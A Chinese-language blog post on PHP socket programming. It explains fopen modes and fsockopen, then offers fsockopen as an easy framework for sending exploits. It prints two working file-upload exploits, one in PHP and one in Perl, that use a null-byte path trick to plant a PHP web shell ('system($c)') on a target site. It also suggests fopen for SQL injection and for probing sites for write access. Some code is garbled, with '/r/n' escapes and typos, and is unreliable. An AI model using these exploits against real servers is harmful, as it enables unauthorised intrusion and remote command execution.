PHP之SOCKETS编程问题


PHP #socket2012-10-29 09:49
1.fopen的应用
fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。


fopen的使用方法
$s = fopen ($url, mode);
fopen的MODE属性:
mode 说明 
'r' 只读方式打开,将文件指针指向文件头。 
'r+' 读写方式打开,将文件指针指向文件头。 
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 
'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 




即用于本地文件的操作,也可以用于INET。是不是很KOOL?
假如要测试一个站的IIS目录是不是有写权限。
可以这样写 
$s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”)
如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。
但是一般的网站都是只读权限的
$s =fopen("http://www.bugkidz.org/index.php?id=1","r");
这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容
这样
while (!feof($s)) {
echo fgets($s, 1024);
}
我认为FOPEN用于SQL INJECTION是最方便不过的了。
引用
function phpinet($url)


{


fopen($url,"r") or die("打开URL错误");






  $cahe = "";


while (!feof($s)) {


$cahe .= fgets($s, 1024);


}






retrun $cahe;


fclose($s);


}












这段函数等同于VB中的inet.openurl 










Fsockopen等函数的使用


fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.


这样使用fsockopen


resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])






例子:


$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);


前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.


通常$sock = fsockopen("192.168.0.1",80);这样即可.


$sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来


$sock = fsockopen("udp://192.168.0.1",53);


用这个来写一个TFTP的客户端也是可以的.






fsockopen的应用实例:






实例一,简单的HTTP会话.






代码  


<?php


$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);


if (!$fp) {


echo "$errstr ($errno)/n";


} else {


$out = "GET / HTTP/1.1/r/n";


$out .= "Host: www.example.com/r/n";


$out .= "Connection: Close/r/n/r/n";






fwrite($fp, $out);


while (!feof($fp)) {


echo fgets($fp, 128);


}


fclose($fp);


}


?>  










流程一般是这样的


建立fsockopen 资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen 资源.


ANGEL写了一个PHP的端口扫描工具,贴出之


http://www.4ngel.net/article/20.htm






选择fsockopen 来写简单EXP发送框架绝对是个goodidea.becoz it's so easy.


看我的PHP上传漏洞的exp.






代码  


引用
<?php


#MSN:Cqxy[at]21cn.net


$sock = fsockopen("www.ririririri.com",80);


if (!$sock)


{ echo "CANNOT CONNECT IT!";


}


$body = "-----------------------------7d41f4a600472/r/n".


"Content-Disposition: form-data; name=/"path/"/r/n".


"/r/n".


"www.ppp%00/r/n".


"-----------------------------7d41f4a600472/r/n".


"Content-Disposition: form-data; name=/"image/"; filename=/"F://tools//1.gif/"/r/n".


"Content-Type: text/plain/r/n".


"/r/n".


"<?php/r/n".


"system($c);/r/n".


"?>/r/n".


"-----------------------------7d41f4a600472--/r/n".


"/r/n";


$header ="POST /index.php?action=upload HTTP/1.1/r/n".


"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*/r/n".


"Referer: http://127.0.0.1/index.php?path=./r/n".


"Accept-Language: zh-cn/r/n".


"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472/r/n".


"Accept-Encoding: gzip, deflate/r/n".


"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)/r/n".


"Host: 127.0.0.1/r/n".


"Content-Length: strlen($body)/r/n".


"Connection: Keep-Alive/r/n".


"Cache-Control: no-cache/r/n".


"Cookie: PHPSESSID=111111111111111111111111/r/n".


"/r/n";


fputs($sock,$header);


sleep(1);






fputs($sock,$body);


while (!feof($sock))


{


echo fgets($sock,128);


}


fclose($sock);


?>
















再来看XIAOLU用PERL写的exp






代码  






引用




#!/usr/bin/perl 


$| = 1; 


use Socket; 


$host = "127.0.0.1";


$port = "80";






$UploadTo = ""; 


$str = 


"-----------------------------7d41f4a600472/r/n".


"Content-Disposition: form-data; name=/"path/"/r/n".


"/r/n".


"www.ppp%00/r/n".


"-----------------------------7d41f4a600472/r/n".


"Content-Disposition: form-data; name=/"image/"; filename=/"F://tools//1.gif/"/r/n".


"Content-Type: text/plain/r/n".


"/r/n".


"<?php/r/n".


"system($c);/r/n".


"?>/r/n".


"-----------------------------7d41f4a600472--/r/n".


"/r/n";






print $str;


$len=length($str);


print $len;






$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1/r/n".


"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*/r/n".


"Referer: http://127.0.0.1/index.php?path=./r/n".


"Accept-Language: zh-cn/r/n".


"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472/r/n".


"Accept-Encoding: gzip, deflate/r/n".


"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)/r/n".


"Host: 127.0.0.1/r/n".


"Content-Length: $len/r/n".


"Connection: Keep-Alive/r/n".


"Cache-Control: no-cache/r/n".


"Cookie: PHPSESSID=111111111111111111111111/r/n".


"/r/n". 


"$str/r/n/r/n";


print $req;


@res = sendraw($req); 


print @res;






#Hmm...Maybe you can send it by other way 










sub sendraw { 


my ($req) = @_; 


my $target; 


$target = inet_aton($host) || die("inet_aton problems/n"); 


socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems/n"); 


if(connect(S,pack "SnA4x8",2,$port,$target)){ 


select(S); 


$| = 1; 


print $req; 


my @res = <S>; 


select(STDOUT); 


close(S); 


return @res; 






else { 


die("Can't connect.../n"); 






}






 谁更简单,一目了然.
到这里可能大家对fsockopen 的使用有一定了解了.

相关文章

粤ICP备11097351号-1